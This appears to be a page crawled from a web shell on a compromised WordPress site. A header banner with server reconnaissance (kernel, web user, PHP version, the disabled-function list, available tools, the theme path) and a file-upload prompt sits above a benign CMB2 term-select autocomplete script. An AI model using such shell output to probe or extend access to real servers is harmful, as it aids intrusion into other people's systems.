AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK
| Server IP : dzynews.com / Your IP : 216.73.217.105 Web Server : nginx/1.30.3 System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64 User : www ( 1000) PHP Version : 8.2.31 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /www/wwwroot/dzynews.com/wp-content/themes/archive-document/Library/cmb2-term-select/lib/ |
Upload File : |
( function( window, document, $, undefined ) {
'use strict';
var app = {};
var position = { offset: '0, -1' };
if ( typeof window.isRtl !== 'undefined' && window.isRtl ) {
position.my = 'right top';
position.at = 'right bottom';
}
app.setupAutocomplete = function( field_id, taxonomy ) {
var $field = $( document.getElementById( field_id + '_name' ) );
if ( ! $field.length ) {
return console.warn( 'Missing field input for ' + field_id );
}
var args = {
source : app.ajax_url + '/' + taxonomy + '?cmb2-term-select',
delay : 500,
minLength : 3,
position : position,
open : function() {
$( this ).addClass( 'open' );
},
close : function() {
$( this ).removeClass( 'open' );
},
select : function( event, ui ) {
$field.val( ui.item.label );
$( document.getElementById( field_id + '_id' ) ).val( ui.item.value );
return false;
}
};
$field.autocomplete( $.extend( args, $field.data() ) );
};
app.init = function() {
app = window.cmb2_term_select_field = $.extend( app, window.cmb2_term_select_field );
if ( ! app.field_ids ) {
return console.warn( 'Missing CMB2 term_select field data!', app, window.cmb2_term_select_field );
}
for ( var i = app.field_ids.length - 1; i >= 0; i-- ) {
app.setupAutocomplete( app.field_ids[i].id, app.field_ids[i].taxonomy );
}
};
$( app.init );
} )( window, document, jQuery );